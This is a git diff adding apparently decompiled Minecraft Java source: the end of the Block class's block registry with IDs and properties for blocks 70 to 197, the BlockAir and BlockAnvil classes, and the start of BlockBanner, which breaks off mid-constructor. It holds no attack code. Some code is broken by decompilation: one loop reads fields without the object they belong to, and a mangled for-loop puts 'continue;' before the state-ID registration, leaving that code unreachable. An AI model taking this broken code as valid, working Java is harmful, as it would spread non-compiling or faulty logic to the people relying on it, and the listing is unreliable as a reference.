+    registerBlock(70, "stone_pressure_plate", new BlockPressurePlate(Material.rock, BlockPressurePlate.Sensitivity.MOBS).setHardness(0.5F).setStepSound(soundTypePiston).setUnlocalizedName("pressurePlateStone"));
+    registerBlock(71, "iron_door", new BlockDoor(Material.iron).setHardness(5.0F).setStepSound(soundTypeMetal).setUnlocalizedName("doorIron").disableStats());
+    registerBlock(72, "wooden_pressure_plate", new BlockPressurePlate(Material.wood, BlockPressurePlate.Sensitivity.EVERYTHING).setHardness(0.5F).setStepSound(soundTypeWood).setUnlocalizedName("pressurePlateWood"));
+    registerBlock(73, "redstone_ore", new BlockRedstoneOre(false).setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreRedstone").setCreativeTab(CreativeTabs.tabBlock));
+    registerBlock(74, "lit_redstone_ore", new BlockRedstoneOre(true).setLightLevel(0.625F).setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreRedstone"));
+    registerBlock(75, "unlit_redstone_torch", new BlockRedstoneTorch(false).setHardness(0.0F).setStepSound(soundTypeWood).setUnlocalizedName("notGate"));
+    registerBlock(76, "redstone_torch", new BlockRedstoneTorch(true).setHardness(0.0F).setLightLevel(0.5F).setStepSound(soundTypeWood).setUnlocalizedName("notGate").setCreativeTab(CreativeTabs.tabRedstone));
+    registerBlock(77, "stone_button", new BlockButtonStone().setHardness(0.5F).setStepSound(soundTypePiston).setUnlocalizedName("button"));
+    registerBlock(78, "snow_layer", new BlockSnow().setHardness(0.1F).setStepSound(soundTypeSnow).setUnlocalizedName("snow").setLightOpacity(0));
+    registerBlock(79, "ice", new BlockIce().setHardness(0.5F).setLightOpacity(3).setStepSound(soundTypeGlass).setUnlocalizedName("ice"));
+    registerBlock(80, "snow", new BlockSnowBlock().setHardness(0.2F).setStepSound(soundTypeSnow).setUnlocalizedName("snow"));
+    registerBlock(81, "cactus", new BlockCactus().setHardness(0.4F).setStepSound(soundTypeCloth).setUnlocalizedName("cactus"));
+    registerBlock(82, "clay", new BlockClay().setHardness(0.6F).setStepSound(soundTypeGravel).setUnlocalizedName("clay"));
+    registerBlock(83, "reeds", new BlockReed().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("reeds").disableStats());
+    registerBlock(84, "jukebox", new BlockJukebox().setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("jukebox"));
+    registerBlock(85, "fence", new BlockFence(Material.wood).setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("fence"));
+    Block var7 = new BlockPumpkin().setHardness(1.0F).setStepSound(soundTypeWood).setUnlocalizedName("pumpkin");
+    registerBlock(86, "pumpkin", var7);
+    registerBlock(87, "netherrack", new BlockNetherrack().setHardness(0.4F).setStepSound(soundTypePiston).setUnlocalizedName("hellrock"));
+    registerBlock(88, "soul_sand", new BlockSoulSand().setHardness(0.5F).setStepSound(soundTypeSand).setUnlocalizedName("hellsand"));
+    registerBlock(89, "glowstone", new BlockGlowstone(Material.glass).setHardness(0.3F).setStepSound(soundTypeGlass).setLightLevel(1.0F).setUnlocalizedName("lightgem"));
+    registerBlock(90, "portal", new BlockPortal().setHardness(-1.0F).setStepSound(soundTypeGlass).setLightLevel(0.75F).setUnlocalizedName("portal"));
+    registerBlock(91, "lit_pumpkin", new BlockPumpkin().setHardness(1.0F).setStepSound(soundTypeWood).setLightLevel(1.0F).setUnlocalizedName("litpumpkin"));
+    registerBlock(92, "cake", new BlockCake().setHardness(0.5F).setStepSound(soundTypeCloth).setUnlocalizedName("cake").disableStats());
+    registerBlock(93, "unpowered_repeater", new BlockRedstoneRepeater(false).setHardness(0.0F).setStepSound(soundTypeWood).setUnlocalizedName("diode").disableStats());
+    registerBlock(94, "powered_repeater", new BlockRedstoneRepeater(true).setHardness(0.0F).setStepSound(soundTypeWood).setUnlocalizedName("diode").disableStats());
+    registerBlock(95, "stained_glass", new BlockStainedGlass(Material.glass).setHardness(0.3F).setStepSound(soundTypeGlass).setUnlocalizedName("stainedGlass"));
+    registerBlock(96, "trapdoor", new BlockTrapDoor(Material.wood).setHardness(3.0F).setStepSound(soundTypeWood).setUnlocalizedName("trapdoor").disableStats());
+    registerBlock(97, "monster_egg", new BlockSilverfish().setHardness(0.75F).setUnlocalizedName("monsterStoneEgg"));
+    Block var8 = new BlockStoneBrick().setHardness(1.5F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stonebricksmooth");
+    registerBlock(98, "stonebrick", var8);
+    registerBlock(99, "brown_mushroom_block", new BlockHugeMushroom(Material.wood, var3).setHardness(0.2F).setStepSound(soundTypeWood).setUnlocalizedName("mushroom"));
+    registerBlock(100, "red_mushroom_block", new BlockHugeMushroom(Material.wood, var4).setHardness(0.2F).setStepSound(soundTypeWood).setUnlocalizedName("mushroom"));
+    registerBlock(101, "iron_bars", new BlockPane(Material.iron, true).setHardness(5.0F).setResistance(10.0F).setStepSound(soundTypeMetal).setUnlocalizedName("fenceIron"));
+    registerBlock(102, "glass_pane", new BlockPane(Material.glass, false).setHardness(0.3F).setStepSound(soundTypeGlass).setUnlocalizedName("thinGlass"));
+    Block var9 = new BlockMelon().setHardness(1.0F).setStepSound(soundTypeWood).setUnlocalizedName("melon");
+    registerBlock(103, "melon_block", var9);
+    registerBlock(104, "pumpkin_stem", new BlockStem(var7).setHardness(0.0F).setStepSound(soundTypeWood).setUnlocalizedName("pumpkinStem"));
+    registerBlock(105, "melon_stem", new BlockStem(var9).setHardness(0.0F).setStepSound(soundTypeWood).setUnlocalizedName("pumpkinStem"));
+    registerBlock(106, "vine", new BlockVine().setHardness(0.2F).setStepSound(soundTypeGrass).setUnlocalizedName("vine"));
+    registerBlock(107, "fence_gate", new BlockFenceGate().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("fenceGate"));
+    registerBlock(108, "brick_stairs", new BlockStairs(var5.getDefaultState()).setUnlocalizedName("stairsBrick"));
+    registerBlock(109, "stone_brick_stairs", new BlockStairs(var8.getDefaultState().withProperty(BlockStoneBrick.VARIANT_PROP, BlockStoneBrick.EnumType.DEFAULT)).setUnlocalizedName("stairsStoneBrickSmooth"));
+    registerBlock(110, "mycelium", new BlockMycelium().setHardness(0.6F).setStepSound(soundTypeGrass).setUnlocalizedName("mycel"));
+    registerBlock(111, "waterlily", new BlockLilyPad().setHardness(0.0F).setStepSound(soundTypeGrass).setUnlocalizedName("waterlily"));
+    Block var10 = new BlockNetherBrick().setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("netherBrick").setCreativeTab(CreativeTabs.tabBlock);
+    registerBlock(112, "nether_brick", var10);
+    registerBlock(113, "nether_brick_fence", new BlockFence(Material.rock).setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("netherFence"));
+    registerBlock(114, "nether_brick_stairs", new BlockStairs(var10.getDefaultState()).setUnlocalizedName("stairsNetherBrick"));
+    registerBlock(115, "nether_wart", new BlockNetherWart().setUnlocalizedName("netherStalk"));
+    registerBlock(116, "enchanting_table", new BlockEnchantmentTable().setHardness(5.0F).setResistance(2000.0F).setUnlocalizedName("enchantmentTable"));
+    registerBlock(117, "brewing_stand", new BlockBrewingStand().setHardness(0.5F).setLightLevel(0.125F).setUnlocalizedName("brewingStand"));
+    registerBlock(118, "cauldron", new BlockCauldron().setHardness(2.0F).setUnlocalizedName("cauldron"));
+    registerBlock(119, "end_portal", new BlockEndPortal(Material.portal).setHardness(-1.0F).setResistance(6000000.0F));
+    registerBlock(120, "end_portal_frame", new BlockEndPortalFrame().setStepSound(soundTypeGlass).setLightLevel(0.125F).setHardness(-1.0F).setUnlocalizedName("endPortalFrame").setResistance(6000000.0F).setCreativeTab(CreativeTabs.tabDecorations));
+    registerBlock(121, "end_stone", new Block(Material.rock).setHardness(3.0F).setResistance(15.0F).setStepSound(soundTypePiston).setUnlocalizedName("whiteStone").setCreativeTab(CreativeTabs.tabBlock));
+    registerBlock(122, "dragon_egg", new BlockDragonEgg().setHardness(3.0F).setResistance(15.0F).setStepSound(soundTypePiston).setLightLevel(0.125F).setUnlocalizedName("dragonEgg"));
+    registerBlock(123, "redstone_lamp", new BlockRedstoneLight(false).setHardness(0.3F).setStepSound(soundTypeGlass).setUnlocalizedName("redstoneLight").setCreativeTab(CreativeTabs.tabRedstone));
+    registerBlock(124, "lit_redstone_lamp", new BlockRedstoneLight(true).setHardness(0.3F).setStepSound(soundTypeGlass).setUnlocalizedName("redstoneLight"));
+    registerBlock(125, "double_wooden_slab", new BlockDoubleWoodSlab().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("woodSlab"));
+    registerBlock(126, "wooden_slab", new BlockHalfWoodSlab().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("woodSlab"));
+    registerBlock(127, "cocoa", new BlockCocoa().setHardness(0.2F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("cocoa"));
+    registerBlock(128, "sandstone_stairs", new BlockStairs(var2.getDefaultState().withProperty(BlockSandStone.field_176297_a, BlockSandStone.EnumType.SMOOTH)).setUnlocalizedName("stairsSandStone"));
+    registerBlock(129, "emerald_ore", new BlockOre().setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("oreEmerald"));
+    registerBlock(130, "ender_chest", new BlockEnderChest().setHardness(22.5F).setResistance(1000.0F).setStepSound(soundTypePiston).setUnlocalizedName("enderChest").setLightLevel(0.5F));
+    registerBlock(131, "tripwire_hook", new BlockTripWireHook().setUnlocalizedName("tripWireSource"));
+    registerBlock(132, "tripwire", new BlockTripWire().setUnlocalizedName("tripWire"));
+    registerBlock(133, "emerald_block", new BlockCompressed(MapColor.emeraldColor).setHardness(5.0F).setResistance(10.0F).setStepSound(soundTypeMetal).setUnlocalizedName("blockEmerald"));
+    registerBlock(134, "spruce_stairs", new BlockStairs(var1.getDefaultState().withProperty(BlockPlanks.VARIANT_PROP, BlockPlanks.EnumType.SPRUCE)).setUnlocalizedName("stairsWoodSpruce"));
+    registerBlock(135, "birch_stairs", new BlockStairs(var1.getDefaultState().withProperty(BlockPlanks.VARIANT_PROP, BlockPlanks.EnumType.BIRCH)).setUnlocalizedName("stairsWoodBirch"));
+    registerBlock(136, "jungle_stairs", new BlockStairs(var1.getDefaultState().withProperty(BlockPlanks.VARIANT_PROP, BlockPlanks.EnumType.JUNGLE)).setUnlocalizedName("stairsWoodJungle"));
+    registerBlock(137, "command_block", new BlockCommandBlock().setBlockUnbreakable().setResistance(6000000.0F).setUnlocalizedName("commandBlock"));
+    registerBlock(138, "beacon", new BlockBeacon().setUnlocalizedName("beacon").setLightLevel(1.0F));
+    registerBlock(139, "cobblestone_wall", new BlockWall(var0).setUnlocalizedName("cobbleWall"));
+    registerBlock(140, "flower_pot", new BlockFlowerPot().setHardness(0.0F).setStepSound(soundTypeStone).setUnlocalizedName("flowerPot"));
+    registerBlock(141, "carrots", new BlockCarrot().setUnlocalizedName("carrots"));
+    registerBlock(142, "potatoes", new BlockPotato().setUnlocalizedName("potatoes"));
+    registerBlock(143, "wooden_button", new BlockButtonWood().setHardness(0.5F).setStepSound(soundTypeWood).setUnlocalizedName("button"));
+    registerBlock(144, "skull", new BlockSkull().setHardness(1.0F).setStepSound(soundTypePiston).setUnlocalizedName("skull"));
+    registerBlock(145, "anvil", new BlockAnvil().setHardness(5.0F).setStepSound(soundTypeAnvil).setResistance(2000.0F).setUnlocalizedName("anvil"));
+    registerBlock(146, "trapped_chest", new BlockChest(1).setHardness(2.5F).setStepSound(soundTypeWood).setUnlocalizedName("chestTrap"));
+    registerBlock(147, "light_weighted_pressure_plate", new BlockPressurePlateWeighted("gold_block", Material.iron, 15).setHardness(0.5F).setStepSound(soundTypeWood).setUnlocalizedName("weightedPlate_light"));
+    registerBlock(148, "heavy_weighted_pressure_plate", new BlockPressurePlateWeighted("iron_block", Material.iron, 150).setHardness(0.5F).setStepSound(soundTypeWood).setUnlocalizedName("weightedPlate_heavy"));
+    registerBlock(149, "unpowered_comparator", new BlockRedstoneComparator(false).setHardness(0.0F).setStepSound(soundTypeWood).setUnlocalizedName("comparator").disableStats());
+    registerBlock(150, "powered_comparator", new BlockRedstoneComparator(true).setHardness(0.0F).setLightLevel(0.625F).setStepSound(soundTypeWood).setUnlocalizedName("comparator").disableStats());
+    registerBlock(151, "daylight_detector", new BlockDaylightDetector(false));
+    registerBlock(152, "redstone_block", new BlockCompressedPowered(MapColor.tntColor).setHardness(5.0F).setResistance(10.0F).setStepSound(soundTypeMetal).setUnlocalizedName("blockRedstone"));
+    registerBlock(153, "quartz_ore", new BlockOre().setHardness(3.0F).setResistance(5.0F).setStepSound(soundTypePiston).setUnlocalizedName("netherquartz"));
+    registerBlock(154, "hopper", new BlockHopper().setHardness(3.0F).setResistance(8.0F).setStepSound(soundTypeMetal).setUnlocalizedName("hopper"));
+    Block var11 = new BlockQuartz().setStepSound(soundTypePiston).setHardness(0.8F).setUnlocalizedName("quartzBlock");
+    registerBlock(155, "quartz_block", var11);
+    registerBlock(156, "quartz_stairs", new BlockStairs(var11.getDefaultState().withProperty(BlockQuartz.VARIANT_PROP, BlockQuartz.EnumType.DEFAULT)).setUnlocalizedName("stairsQuartz"));
+    registerBlock(157, "activator_rail", new BlockRailPowered().setHardness(0.7F).setStepSound(soundTypeMetal).setUnlocalizedName("activatorRail"));
+    registerBlock(158, "dropper", new BlockDropper().setHardness(3.5F).setStepSound(soundTypePiston).setUnlocalizedName("dropper"));
+    registerBlock(159, "stained_hardened_clay", new BlockColored(Material.rock).setHardness(1.25F).setResistance(7.0F).setStepSound(soundTypePiston).setUnlocalizedName("clayHardenedStained"));
+    registerBlock(160, "stained_glass_pane", new BlockStainedGlassPane().setHardness(0.3F).setStepSound(soundTypeGlass).setUnlocalizedName("thinStainedGlass"));
+    registerBlock(161, "leaves2", new BlockNewLeaf().setUnlocalizedName("leaves"));
+    registerBlock(162, "log2", new BlockNewLog().setUnlocalizedName("log"));
+    registerBlock(163, "acacia_stairs", new BlockStairs(var1.getDefaultState().withProperty(BlockPlanks.VARIANT_PROP, BlockPlanks.EnumType.ACACIA)).setUnlocalizedName("stairsWoodAcacia"));
+    registerBlock(164, "dark_oak_stairs", new BlockStairs(var1.getDefaultState().withProperty(BlockPlanks.VARIANT_PROP, BlockPlanks.EnumType.DARK_OAK)).setUnlocalizedName("stairsWoodDarkOak"));
+    registerBlock(165, "slime", new BlockSlime().setUnlocalizedName("slime").setStepSound(SLIME_SOUND));
+    registerBlock(166, "barrier", new BlockBarrier().setUnlocalizedName("barrier"));
+    registerBlock(167, "iron_trapdoor", new BlockTrapDoor(Material.iron).setHardness(5.0F).setStepSound(soundTypeMetal).setUnlocalizedName("ironTrapdoor").disableStats());
+    registerBlock(168, "prismarine", new BlockPrismarine().setHardness(1.5F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("prismarine"));
+    registerBlock(169, "sea_lantern", new BlockSeaLantern(Material.glass).setHardness(0.3F).setStepSound(soundTypeGlass).setLightLevel(1.0F).setUnlocalizedName("seaLantern"));
+    registerBlock(170, "hay_block", new BlockHay().setHardness(0.5F).setStepSound(soundTypeGrass).setUnlocalizedName("hayBlock").setCreativeTab(CreativeTabs.tabBlock));
+    registerBlock(171, "carpet", new BlockCarpet().setHardness(0.1F).setStepSound(soundTypeCloth).setUnlocalizedName("woolCarpet").setLightOpacity(0));
+    registerBlock(172, "hardened_clay", new BlockHardenedClay().setHardness(1.25F).setResistance(7.0F).setStepSound(soundTypePiston).setUnlocalizedName("clayHardened"));
+    registerBlock(173, "coal_block", new Block(Material.rock).setHardness(5.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("blockCoal").setCreativeTab(CreativeTabs.tabBlock));
+    registerBlock(174, "packed_ice", new BlockPackedIce().setHardness(0.5F).setStepSound(soundTypeGlass).setUnlocalizedName("icePacked"));
+    registerBlock(175, "double_plant", new BlockDoublePlant());
+    registerBlock(176, "standing_banner", new BlockBanner.BlockBannerStanding().setHardness(1.0F).setStepSound(soundTypeWood).setUnlocalizedName("banner").disableStats());
+    registerBlock(177, "wall_banner", new BlockBanner.BlockBannerHanging().setHardness(1.0F).setStepSound(soundTypeWood).setUnlocalizedName("banner").disableStats());
+    registerBlock(178, "daylight_detector_inverted", new BlockDaylightDetector(true));
+    Block var12 = new BlockRedSandstone().setStepSound(soundTypePiston).setHardness(0.8F).setUnlocalizedName("redSandStone");
+    registerBlock(179, "red_sandstone", var12);
+    registerBlock(180, "red_sandstone_stairs", new BlockStairs(var12.getDefaultState().withProperty(BlockRedSandstone.TYPE, BlockRedSandstone.EnumType.SMOOTH)).setUnlocalizedName("stairsRedSandStone"));
+    registerBlock(181, "double_stone_slab2", new BlockDoubleStoneSlabNew().setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stoneSlab2"));
+    registerBlock(182, "stone_slab2", new BlockHalfStoneSlabNew().setHardness(2.0F).setResistance(10.0F).setStepSound(soundTypePiston).setUnlocalizedName("stoneSlab2"));
+    registerBlock(183, "spruce_fence_gate", new BlockFenceGate().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("spruceFenceGate"));
+    registerBlock(184, "birch_fence_gate", new BlockFenceGate().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("birchFenceGate"));
+    registerBlock(185, "jungle_fence_gate", new BlockFenceGate().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("jungleFenceGate"));
+    registerBlock(186, "dark_oak_fence_gate", new BlockFenceGate().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("darkOakFenceGate"));
+    registerBlock(187, "acacia_fence_gate", new BlockFenceGate().setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("acaciaFenceGate"));
+    registerBlock(188, "spruce_fence", new BlockFence(Material.wood).setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("spruceFence"));
+    registerBlock(189, "birch_fence", new BlockFence(Material.wood).setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("birchFence"));
+    registerBlock(190, "jungle_fence", new BlockFence(Material.wood).setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("jungleFence"));
+    registerBlock(191, "dark_oak_fence", new BlockFence(Material.wood).setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("darkOakFence"));
+    registerBlock(192, "acacia_fence", new BlockFence(Material.wood).setHardness(2.0F).setResistance(5.0F).setStepSound(soundTypeWood).setUnlocalizedName("acaciaFence"));
+    registerBlock(193, "spruce_door", new BlockDoor(Material.wood).setHardness(3.0F).setStepSound(soundTypeWood).setUnlocalizedName("doorSpruce").disableStats());
+    registerBlock(194, "birch_door", new BlockDoor(Material.wood).setHardness(3.0F).setStepSound(soundTypeWood).setUnlocalizedName("doorBirch").disableStats());
+    registerBlock(195, "jungle_door", new BlockDoor(Material.wood).setHardness(3.0F).setStepSound(soundTypeWood).setUnlocalizedName("doorJungle").disableStats());
+    registerBlock(196, "acacia_door", new BlockDoor(Material.wood).setHardness(3.0F).setStepSound(soundTypeWood).setUnlocalizedName("doorAcacia").disableStats());
+    registerBlock(197, "dark_oak_door", new BlockDoor(Material.wood).setHardness(3.0F).setStepSound(soundTypeWood).setUnlocalizedName("doorDarkOak").disableStats());
+    blockRegistry.validateKey();
+    Iterator var13 = blockRegistry.iterator();
+    
+
+    while (var13.hasNext())
+    {
+      Block var14 = (Block)var13.next();
+      
+      if (blockMaterial == Material.air)
+      {
+        useNeighborBrightness = false;
+      }
+      else
+      {
+        boolean var15 = false;
+        boolean var16 = var14 instanceof BlockStairs;
+        boolean var17 = var14 instanceof BlockSlab;
+        boolean var18 = var14 == var6;
+        boolean var19 = translucent;
+        boolean var20 = lightOpacity == 0;
+        
+        if ((var16) || (var17) || (var18) || (var19) || (var20))
+        {
+          var15 = true;
+        }
+        
+        useNeighborBrightness = var15;
+      }
+    }
+    
+    var13 = blockRegistry.iterator();
+    Iterator var21;
+    for (; var13.hasNext(); 
+        
+
+
+
+        var21.hasNext())
+    {
+      Block var14 = (Block)var13.next();
+      var21 = var14.getBlockState().getValidStates().iterator();
+      
+      continue;
+      
+      IBlockState var22 = (IBlockState)var21.next();
+      int var23 = blockRegistry.getIDForObject(var14) << 4 | var14.getMetaFromState(var22);
+      BLOCK_STATE_IDS.put(var22, var23);
+    }
+  }
+  
+
+  private static void registerBlock(int id, ResourceLocation textualID, Block block_)
+  {
+    blockRegistry.register(id, textualID, block_);
+  }
+  
+  private static void registerBlock(int id, String textualID, Block block_)
+  {
+    registerBlock(id, new ResourceLocation(textualID), block_);
+  }
+  
+  public static enum EnumOffsetType
+  {
+    NONE("NONE", 0), 
+    XZ("XZ", 1), 
+    XYZ("XYZ", 2);
+    
+    private static final EnumOffsetType[] $VALUES = { NONE, XZ, XYZ };
+    private static final String __OBFID = "CL_00002132";
+    
+    private EnumOffsetType(String p_i45733_1_, int p_i45733_2_) {}
+  }
+  
+  public static class SoundType
+  {
+    public final String soundName;
+    public final float volume;
+    public final float frequency;
+    private static final String __OBFID = "CL_00000203";
+    
+    public SoundType(String name, float volume, float frequency)
+    {
+      soundName = name;
+      this.volume = volume;
+      this.frequency = frequency;
+    }
+    
+    public float getVolume()
+    {
+      return volume;
+    }
+    
+    public float getFrequency()
+    {
+      return frequency;
+    }
+    
+    public String getBreakSound()
+    {
+      return "dig." + soundName;
+    }
+    
+    public String getStepSound()
+    {
+      return "step." + soundName;
+    }
+    
+    public String getPlaceSound()
+    {
+      return getBreakSound();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockAir.java b/src/minecraft/net/minecraft/block/BlockAir.java
new file mode 100644
index 0000000..d32deca
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockAir.java
@@ -0,0 +1,42 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockAir extends Block
+{
+  private static final String __OBFID = "CL_00000190";
+  
+  protected BlockAir()
+  {
+    super(Material.air);
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return -1;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean canCollideCheck(IBlockState state, boolean p_176209_2_)
+  {
+    return false;
+  }
+  
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune) {}
+}
diff --git a/src/minecraft/net/minecraft/block/BlockAnvil.java b/src/minecraft/net/minecraft/block/BlockAnvil.java
new file mode 100644
index 0000000..f0d90e2
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockAnvil.java
@@ -0,0 +1,184 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerRepair;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.IInteractionObject;
+import net.minecraft.world.World;
+
+public class BlockAnvil extends BlockFalling
+{
+  public static final PropertyDirection FACING = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  public static final PropertyInteger DAMAGE = PropertyInteger.create("damage", 0, 2);
+  private static final String __OBFID = "CL_00000192";
+  
+  protected BlockAnvil()
+  {
+    super(Material.anvil);
+    setDefaultState(blockState.getBaseState().withProperty(FACING, EnumFacing.NORTH).withProperty(DAMAGE, Integer.valueOf(0)));
+    setLightOpacity(0);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    EnumFacing var9 = placer.func_174811_aO().rotateY();
+    return super.onBlockPlaced(worldIn, pos, facing, hitX, hitY, hitZ, meta, placer).withProperty(FACING, var9).withProperty(DAMAGE, Integer.valueOf(meta >> 2));
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (!isRemote)
+    {
+      playerIn.displayGui(new Anvil(worldIn, pos));
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((Integer)state.getValue(DAMAGE)).intValue();
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    EnumFacing var3 = (EnumFacing)access.getBlockState(pos).getValue(FACING);
+    
+    if (var3.getAxis() == EnumFacing.Axis.X)
+    {
+      setBlockBounds(0.0F, 0.0F, 0.125F, 1.0F, 1.0F, 0.875F);
+    }
+    else
+    {
+      setBlockBounds(0.125F, 0.0F, 0.0F, 0.875F, 1.0F, 1.0F);
+    }
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, 0));
+    list.add(new ItemStack(itemIn, 1, 1));
+    list.add(new ItemStack(itemIn, 1, 2));
+  }
+  
+  protected void onStartFalling(EntityFallingBlock fallingEntity)
+  {
+    fallingEntity.setHurtEntities(true);
+  }
+  
+  public void onEndFalling(World worldIn, BlockPos pos)
+  {
+    worldIn.playAuxSFX(1022, pos, 0);
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return true;
+  }
+  
+
+
+
+  public IBlockState getStateForEntityRender(IBlockState state)
+  {
+    return getDefaultState().withProperty(FACING, EnumFacing.SOUTH);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(FACING, EnumFacing.getHorizontal(meta & 0x3)).withProperty(DAMAGE, Integer.valueOf((meta & 0xF) >> 2));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(FACING)).getHorizontalIndex();
+    var3 |= ((Integer)state.getValue(DAMAGE)).intValue() << 2;
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING, DAMAGE });
+  }
+  
+  public static class Anvil implements IInteractionObject
+  {
+    private final World world;
+    private final BlockPos position;
+    private static final String __OBFID = "CL_00002144";
+    
+    public Anvil(World worldIn, BlockPos pos)
+    {
+      world = worldIn;
+      position = pos;
+    }
+    
+    public String getName()
+    {
+      return "anvil";
+    }
+    
+    public boolean hasCustomName()
+    {
+      return false;
+    }
+    
+    public IChatComponent getDisplayName()
+    {
+      return new net.minecraft.util.ChatComponentTranslation(net.minecraft.init.Blocks.anvil.getUnlocalizedName() + ".name", new Object[0]);
+    }
+    
+    public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+    {
+      return new ContainerRepair(playerInventory, world, position, playerIn);
+    }
+    
+    public String getGuiID()
+    {
+      return "minecraft:anvil";
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBanner.java b/src/minecraft/net/minecraft/block/BlockBanner.java
new file mode 100644
index 0000000..4f138a5
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBanner.java
@@ -0,0 +1,288 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityBanner;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockBanner extends BlockContainer
+{
+  public static final PropertyDirection FACING_PROP = PropertyDirection.create("facing", net.minecraft.util.EnumFacing.Plane.HORIZONTAL);
+  public static final PropertyInteger ROTATION_PROP = PropertyInteger.create("rotation", 0, 15);
+  private static final String __OBFID = "CL_00002143";
+  
+  protected BlockBanner()
+  {
+    super(Material.wood);
+    float var1 = 0.25F;
+    float var2 = 1.0F;
